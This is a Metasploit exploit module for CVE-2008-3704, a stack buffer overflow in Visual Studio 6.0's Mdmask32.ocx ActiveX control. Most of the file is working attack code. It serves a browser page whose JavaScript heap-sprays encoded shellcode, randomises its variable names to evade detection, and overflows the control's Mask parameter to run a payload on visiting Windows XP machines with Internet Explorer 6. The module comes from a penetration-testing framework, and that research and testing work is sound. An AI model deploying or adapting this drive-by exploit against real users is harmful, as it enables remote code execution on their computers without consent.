##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Microsoft Visual Studio Mdmask32.ocx ActiveX Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Microsoft's Visual Studio 6.0.
        When passing a specially crafted string to the Mask parameter of the
        Mdmask32.ocx ActiveX Control, an attacker may be able to execute arbitrary
        code.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'koshi', 'MC' ],
      'References'     =>
        [
          [ 'CVE', '2008-3704' ],
          [ 'OSVDB', '47475' ],
          [ 'BID', '30674' ],
          [ 'MSB', 'MS08-070' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars'      => "\x00",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP0-SP2 IE 6.0 SP0-SP2', { 'Ret' => '' } ]
        ],
      'DisclosureDate' => 'Aug 13 2008',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
      ])
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)
    # Re-generate the payload.
    return if ((p = regenerate_payload(cli)) == nil)

    # Encode the shellcode.
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    # Create some nops.
    nops    = Rex::Text.to_unescape(make_nops(4))

    # Randomize the javascript variable names.
    vname  = rand_text_alpha(rand(100) + 1)
    var_i  = rand_text_alpha(rand(30)  + 2)
    rand1  = rand_text_alpha(rand(100) + 1)
    rand2  = rand_text_alpha(rand(100) + 1)
    rand3  = rand_text_alpha(rand(100) + 1)
    rand4  = rand_text_alpha(rand(100) + 1)
    rand5  = rand_text_alpha(rand(100) + 1)
    rand6  = rand_text_alpha(rand(100) + 1)
    rand7  = rand_text_alpha(rand(100) + 1)
    rand8  = rand_text_alpha(rand(100) + 1)
    rand9  = rand_text_alpha(rand(100) + 1)
    rand10  = rand_text_alpha(rand(100) + 1)
    rand11  = rand_text_alpha(rand(100) + 1)
    randnop = rand_text_alpha(rand(100) + 1)

    content = %Q|
<html>
  <script language="javascript">
  var #{rand1}='<object classid="clsid:C932BA85-4374-101B-A56C-00AA003668DC"><param name="Mask" value="';
  var #{rand2}='"></object>';
  var #{rand3} = '';
  for (#{var_i}=1;#{var_i}<=2145;#{var_i}++){#{rand3}=#{rand3}+unescape("%0c");}
  var #{rand4} = unescape("#{shellcode}");
  var #{rand5} = (#{rand4}.length * 2);
  var #{randnop} = "#{nops}";
  var #{rand6} = unescape(#{randnop});
  var #{rand7} = 0x0c0c0c0c;
  var #{rand8} = 0x100000;
  var #{rand9} = #{rand8} - (#{rand5} + 1);
  var #{rand10} = (#{rand7}+#{rand8})/#{rand8};
  var #{rand11} = new Array();
  while (#{rand6}.length*2<#{rand9})
  { #{rand6} += #{rand6}; }
  #{rand6} = #{rand6}.substring(0,#{rand9}/2);
  for (#{var_i}=0;#{var_i}<#{rand10};#{var_i}++)
  { #{rand11}[#{var_i}] = #{rand6} + #{rand4}; }
  document.write(#{rand1}+#{rand3}+#{rand2});
  </script>
</html>
      |

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end
